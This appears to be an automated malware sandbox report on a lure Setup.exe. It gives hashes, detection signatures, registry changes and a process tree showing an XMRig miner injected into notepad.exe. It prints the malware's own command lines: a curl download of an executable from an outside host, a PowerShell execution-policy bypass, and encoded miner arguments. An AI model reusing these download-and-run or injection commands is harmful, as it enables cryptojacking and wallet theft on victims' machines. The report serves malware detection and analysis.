Overview
overview
10Static
static
3AVAlLABLE_...3).zip
windows10-2004-x64
1AVAlLABLE_...3).zip
windows11-ltsc_2024-x64
1PASS_KEY.docx
windows10-2004-x64
1PASS_KEY.docx
windows11-ltsc_2024-x64
1πποΏ½...οΏ½οΏ½.zip
windows10-2004-x64
1πποΏ½...οΏ½οΏ½.zip
windows11-ltsc_2024-x64
1SETUP.zip
windows10-2004-x64
1SETUP.zip
windows11-ltsc_2024-x64
1Setup.exe
windows10-2004-x64
6Setup.exe
windows11-ltsc_2024-x64
10Analysis
- user interaction
yes - max time kernel
150s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
02/11/2026, 02:54
Static task
static1
Behavioral task
behavioral1
Sample
AVAlLABLE_SETUP_(KEY.2123).zip
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
AVAlLABLE_SETUP_(KEY.2123).zip
Resource
win11ltsc2024-20260911-en
Behavioral task
behavioral3
Sample
PASS_KEY.docx
Resource
win10v2004-20260911-en
Behavioral task
behavioral4
Sample
PASS_KEY.docx
Resource
win11ltsc2024-20260911-en
Behavioral task
behavioral5
Sample
πππππ_π‘ππππΌππππ.zip
Resource
win10v2004-20260911-en
Behavioral task
behavioral6
Sample
πππππ_π‘ππππΌππππ.zip
Resource
win11ltsc2024-20260911-en
Behavioral task
behavioral7
Sample
SETUP.zip
Resource
win10v2004-20260911-en
Behavioral task
behavioral8
Sample
SETUP.zip
Resource
win11ltsc2024-20260911-en
Behavioral task
behavioral9
Sample
Setup.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral10
Sample
Setup.exe
Resource
win11ltsc2024-20260911-en
General
- Target Setup.exe
- Size 1.1MB
- Sample261102-dd3msass4p
- SHA256 f768ff1b70aad0810715bec8935082f8845988722be2ffa991d94a5f880bb20f
- MD5 2fff0b546d537287fe9abb0074a9222c
- SHA1 3a857b783a04ce483675da0613a28950d573a676
- SHA512 02116ac2ff137acfe3c1e1752426dad2f12fa99e43946a5342b8c3e56eeeab895e92c2779c735a23c1d9fcc621641f9852303d8d0922fa2989cd8fdba486fa08
- SSDEEP 12288:jhnvypF6zKGKEsPWdal/WooWFhHraUsARHfDxGTkjaZpk+IBkhhMhSWaZeF+GkY:wpFY4Wdl0Jeq5fQK+Skh+hFF+GkY
- TLSH T1FD4547F0F3810DFDFD3886378657A928911239DE1ED13AAA475C134F0A26E91BAF560D
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 3 IoCs
description pid Process procid_target PID 4724 created 5772 4724 msservice2026_777b.exe 81 PID 4724 created 5772 4724 msservice2026_777b.exe 81 PID 4724 created 5772 4724 msservice2026_777b.exe 81 - XMRig Miner payload 17 IoCs
resource yara_rule behavioral10/files/0x000d00000001c46b-53.dat family_xmrig behavioral10/files/0x000d00000001c46b-53.dat xmrig behavioral10/memory/4176-56-0x00007FF791B00000-0x00007FF79235A000-memory.dmp xmrig behavioral10/memory/4724-58-0x00007FF707A20000-0x00007FF708218000-memory.dmp xmrig behavioral10/memory/4616-59-0x00007FF6C1BC0000-0x00007FF6C241A000-memory.dmp xmrig behavioral10/memory/4724-61-0x00007FF707A20000-0x00007FF708218000-memory.dmp xmrig behavioral10/memory/4388-62-0x00007FF790AA0000-0x00007FF7912FA000-memory.dmp xmrig behavioral10/memory/4388-64-0x00007FF790AA0000-0x00007FF7912FA000-memory.dmp xmrig behavioral10/memory/4388-66-0x00007FF790AA0000-0x00007FF7912FA000-memory.dmp xmrig behavioral10/memory/4388-68-0x00007FF790AA0000-0x00007FF7912FA000-memory.dmp xmrig behavioral10/memory/4388-70-0x00007FF790AA0000-0x00007FF7912FA000-memory.dmp xmrig behavioral10/memory/4388-72-0x00007FF790AA0000-0x00007FF7912FA000-memory.dmp xmrig behavioral10/memory/4388-74-0x00007FF790AA0000-0x00007FF7912FA000-memory.dmp xmrig behavioral10/memory/4388-76-0x00007FF790AA0000-0x00007FF7912FA000-memory.dmp xmrig behavioral10/memory/4388-80-0x00007FF790AA0000-0x00007FF7912FA000-memory.dmp xmrig behavioral10/memory/4388-90-0x00007FF790AA0000-0x00007FF7912FA000-memory.dmp xmrig behavioral10/memory/4388-92-0x00007FF790AA0000-0x00007FF7912FA000-memory.dmp xmrig - Downloads MZ/PE file 1 IoCs
flow pid Process 8 5388 curl.exe - Executes dropped EXE 3 IoCs
pid Process 3376 0e5900930.exe 4968 0e5900930.exe 4724 msservice2026_777b.exe - Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 31 raw.githubusercontent.com 1 raw.githubusercontent.com 16 raw.githubusercontent.com 24 raw.githubusercontent.com - Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 4724 set thread context of 4176 4724 msservice2026_777b.exe 99 PID 4724 set thread context of 4616 4724 msservice2026_777b.exe 100 PID 4724 set thread context of 4388 4724 msservice2026_777b.exe 102 - Drops file in Program Files directory 3 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\implementer\beiashieng.dat Setup.exe File opened for modification C:\Program Files\contractor\aubiffioulls.txt explorer.exe File opened for modification C:\Program Files (x86)\draughtsman\uierlyauws.inf Setup.exe -
pid Process 6008 powershell.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname msservice2026_777b.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain msservice2026_777b.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 msservice2026_777b.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString msservice2026_777b.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Internet Explorer\Toolbar explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1" explorer.exe - Modifies registry class 64 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{885A186E-A440-4ADA-812B-DB871B942259}\Rev = "0" explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 020000000100000000000000ffffffff explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:PID = "14" explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\WFlags = "0" explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{24ad3ad4-a569-4530-98e1-ab02f9417aa8}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{43FED747-B357-468E-AE70-EE0CB0F46508}\FFlags = "1092616193" explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\SniffedFolderType = "Downloads" explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{885A186E-A440-4ADA-812B-DB871B942259}\Mode = "4" explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{885A186E-A440-4ADA-812B-DB871B942259}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000 explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\ explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{885A186E-A440-4ADA-812B-DB871B942259}\Vid = "{137E7700-3573-11CF-AE69-08002B2E1262}" explorer.exe Key created \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{43FED747-B357-468E-AE70-EE0CB0F46508}\LogicalViewMode = "2" explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{f86fa3ab-70d2-4fc7-9c99-fcbf05467f3a}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\ explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202 explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = ffffffff explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\ShowCmd = "1" explorer.exe Key created \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{43FED747-B357-468E-AE70-EE0CB0F46508} explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202 explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{885A186E-A440-4ADA-812B-DB871B942259}\GroupView = "4294967295" explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1092616193" explorer.exe Key created \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2 explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\NotificationData\0D83063EA3B8FCF5 = 0100000000000002 explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\ explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{43FED747-B357-468E-AE70-EE0CB0F46508}\GroupByKey:FMTID = "{30C8EEF4-A832-41E2-AB32-E3C3CA28FD29}" explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\NodeSlot = "3" explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\KnownFolderDerivedFolderType = "{885A186E-A440-4ADA-812B-DB871B942259}" explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\ explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{43FED747-B357-468E-AE70-EE0CB0F46508}\Sort = 0000000000000000000000000000000003000000f4eec83032a8e241ab32e3c3ca28fd29030000000100000030f125b7ef471a10a5f102608c9eebac10000000ffffffff30f125b7ef471a10a5f102608c9eebac0a00000001000000 explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{43FED747-B357-468E-AE70-EE0CB0F46508}\GroupByDirection = "1" explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\MRUListEx = ffffffff explorer.exe Key created \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{885A186E-A440-4ADA-812B-DB871B942259}\IconSize = "16" explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}" explorer.exe Key created \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\NodeSlot = "2" explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{43FED747-B357-468E-AE70-EE0CB0F46508}\Rev = "0" explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3dfdf296-dbec-4fb4-81d1-6a3438bcf4de}\Instance\ explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\HotKey = "0" explorer.exe Key created \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\NotificationData explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 = 14001f400e3174f8b7b6dc47bc84b9e6b38f59030000 explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByDirection = "4294967295" explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{43FED747-B357-468E-AE70-EE0CB0F46508}\GroupView = "4294967295" explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2 = 3a001f0005398e082303024b98265d99428e115f260001002600efbe110000003753242e0342dd01133356a51142dd01dfac2681756add0114000000 explorer.exe Key created \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{885A186E-A440-4ADA-812B-DB871B942259} explorer.exe Key created \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{43FED747-B357-468E-AE70-EE0CB0F46508}\IconSize = "48" explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\WorkFolders explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{43FED747-B357-468E-AE70-EE0CB0F46508}\Vid = "{65F125E5-7BE1-4810-BA9D-D271C8432CE3}" explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{43FED747-B357-468E-AE70-EE0CB0F46508}\Mode = "6" explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{885A186E-A440-4ADA-812B-DB871B942259}\LogicalViewMode = "1" explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{885A186E-A440-4ADA-812B-DB871B942259}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0e000000ffffffff explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{43FED747-B357-468E-AE70-EE0CB0F46508}\FFlags = "1092616209" explorer.exe - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 5772 explorer.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 6008 powershell.exe 6008 powershell.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe 4724 msservice2026_777b.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 5772 explorer.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 6008 powershell.exe Token: SeIncreaseQuotaPrivilege 6008 powershell.exe Token: SeSecurityPrivilege 6008 powershell.exe Token: SeTakeOwnershipPrivilege 6008 powershell.exe Token: SeLoadDriverPrivilege 6008 powershell.exe Token: SeSystemProfilePrivilege 6008 powershell.exe Token: SeSystemtimePrivilege 6008 powershell.exe Token: SeProfSingleProcessPrivilege 6008 powershell.exe Token: SeIncBasePriorityPrivilege 6008 powershell.exe Token: SeCreatePagefilePrivilege 6008 powershell.exe Token: SeBackupPrivilege 6008 powershell.exe Token: SeRestorePrivilege 6008 powershell.exe Token: SeShutdownPrivilege 6008 powershell.exe Token: SeDebugPrivilege 6008 powershell.exe Token: SeSystemEnvironmentPrivilege 6008 powershell.exe Token: SeRemoteShutdownPrivilege 6008 powershell.exe Token: SeUndockPrivilege 6008 powershell.exe Token: SeManageVolumePrivilege 6008 powershell.exe Token: 33 6008 powershell.exe Token: 34 6008 powershell.exe Token: 35 6008 powershell.exe Token: 36 6008 powershell.exe Token: SeIncreaseQuotaPrivilege 6008 powershell.exe Token: SeSecurityPrivilege 6008 powershell.exe Token: SeTakeOwnershipPrivilege 6008 powershell.exe Token: SeLoadDriverPrivilege 6008 powershell.exe Token: SeSystemProfilePrivilege 6008 powershell.exe Token: SeSystemtimePrivilege 6008 powershell.exe Token: SeProfSingleProcessPrivilege 6008 powershell.exe Token: SeIncBasePriorityPrivilege 6008 powershell.exe Token: SeCreatePagefilePrivilege 6008 powershell.exe Token: SeBackupPrivilege 6008 powershell.exe Token: SeRestorePrivilege 6008 powershell.exe Token: SeShutdownPrivilege 6008 powershell.exe Token: SeDebugPrivilege 6008 powershell.exe Token: SeSystemEnvironmentPrivilege 6008 powershell.exe Token: SeRemoteShutdownPrivilege 6008 powershell.exe Token: SeUndockPrivilege 6008 powershell.exe Token: SeManageVolumePrivilege 6008 powershell.exe Token: 33 6008 powershell.exe Token: 34 6008 powershell.exe Token: 35 6008 powershell.exe Token: 36 6008 powershell.exe Token: SeShutdownPrivilege 5772 explorer.exe Token: SeCreatePagefilePrivilege 5772 explorer.exe Token: SeShutdownPrivilege 5772 explorer.exe Token: SeCreatePagefilePrivilege 5772 explorer.exe Token: SeShutdownPrivilege 5772 explorer.exe Token: SeCreatePagefilePrivilege 5772 explorer.exe Token: SeShutdownPrivilege 5772 explorer.exe Token: SeCreatePagefilePrivilege 5772 explorer.exe Token: SeShutdownPrivilege 5772 explorer.exe Token: SeCreatePagefilePrivilege 5772 explorer.exe Token: SeShutdownPrivilege 5772 explorer.exe Token: SeCreatePagefilePrivilege 5772 explorer.exe Token: SeLockMemoryPrivilege 4176 notepad.exe Token: SeLockMemoryPrivilege 4176 notepad.exe Token: SeLockMemoryPrivilege 4616 notepad.exe Token: SeLockMemoryPrivilege 4616 notepad.exe Token: SeShutdownPrivilege 5772 explorer.exe Token: SeCreatePagefilePrivilege 5772 explorer.exe Token: SeLockMemoryPrivilege 4388 notepad.exe Token: SeLockMemoryPrivilege 4388 notepad.exe Token: SeShutdownPrivilege 5772 explorer.exe - Suspicious use of FindShellTrayWindow 16 IoCs
pid Process 1252 Setup.exe 4176 notepad.exe 4616 notepad.exe 4388 notepad.exe 5772 explorer.exe 5772 explorer.exe 5772 explorer.exe 5772 explorer.exe 5772 explorer.exe 5772 explorer.exe 5772 explorer.exe 5772 explorer.exe 5772 explorer.exe 5772 explorer.exe 5772 explorer.exe 5772 explorer.exe - Suspicious use of SendNotifyMessage 21 IoCs
pid Process 5772 explorer.exe 5772 explorer.exe 5772 explorer.exe 5772 explorer.exe 5772 explorer.exe 5772 explorer.exe 5772 explorer.exe 5772 explorer.exe 5772 explorer.exe 5772 explorer.exe 5772 explorer.exe 5772 explorer.exe 5772 explorer.exe 5772 explorer.exe 5772 explorer.exe 5772 explorer.exe 5772 explorer.exe 5772 explorer.exe 5772 explorer.exe 5772 explorer.exe 5772 explorer.exe - Suspicious use of WriteProcessMemory 13 IoCs
description pid Process procid_target PID 1252 wrote to memory of 5772 1252 Setup.exe 81 PID 1252 wrote to memory of 5772 1252 Setup.exe 81 PID 1252 wrote to memory of 5772 1252 Setup.exe 81 PID 1252 wrote to memory of 5772 1252 Setup.exe 81 PID 1252 wrote to memory of 5772 1252 Setup.exe 81 PID 5772 wrote to memory of 5388 5772 explorer.exe 89 PID 5772 wrote to memory of 3376 5772 explorer.exe 91 PID 3376 wrote to memory of 6008 3376 0e5900930.exe 92 PID 5772 wrote to memory of 3440 5772 explorer.exe PID 3376 wrote to memory of 4724 3376 0e5900930.exe 97 PID 4724 wrote to memory of 4176 4724 msservice2026_777b.exe 99 PID 4724 wrote to memory of 4616 4724 msservice2026_777b.exe 100 PID 4724 wrote to memory of 4388 4724 msservice2026_777b.exe 102 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- cURL User-Agent 1 IoCs
Uses User-Agent string associated with cURL utility.
description flow ioc HTTP User-Agent header 8 curl/8.8.0
Processes
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C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS1⤵
- Drops file in Program Files directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5772 -
C:\Users\Admin\AppData\Local\Temp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\Setup.exe"2⤵
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1252
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C:\Windows\SYSTEM32\curl.execurl.exe -fs -o "C:\Users\Admin\AppData\Local\Temp\0e5900930.exe" "https://cloudflare.gd/pyservice92.exe"2⤵
- Downloads MZ/PE file
PID:5388
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C:\Users\Admin\AppData\Local\Temp\0e5900930.exe"C:\Users\Admin\AppData\Local\Temp\0e5900930.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3376 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$script = [ScriptBlock]::Create(($input | Out-String)); & $script .\def.ps1 C:\\"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:6008
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C:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\Cache\Runtime\msservice2026_777b.exe"C:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\Cache\Runtime\msservice2026_777b.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Reads the TCP/IP host and domain name from the registry
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4724
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C:\Windows\system32\notepad.exe"C:\Windows\system32\notepad.exe" --encargs 6c490906002010084402241208054e724440064e310b02054029051e01182011011d40311602535a75574d441b615c5e335d021028013b70283a2205363e38062504571e21592c3637315c35022011252703030a233b2a1c305670012e2f2f02290a0f1f04510939012e003b312c3137342259143d2311560f37062c0836130c1957063c193b38703e3f1023064440194e71565c584e6c4919051d6149400a1e34490008166c10051b0b20001e4406280a195456714440084e331c42592⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4176
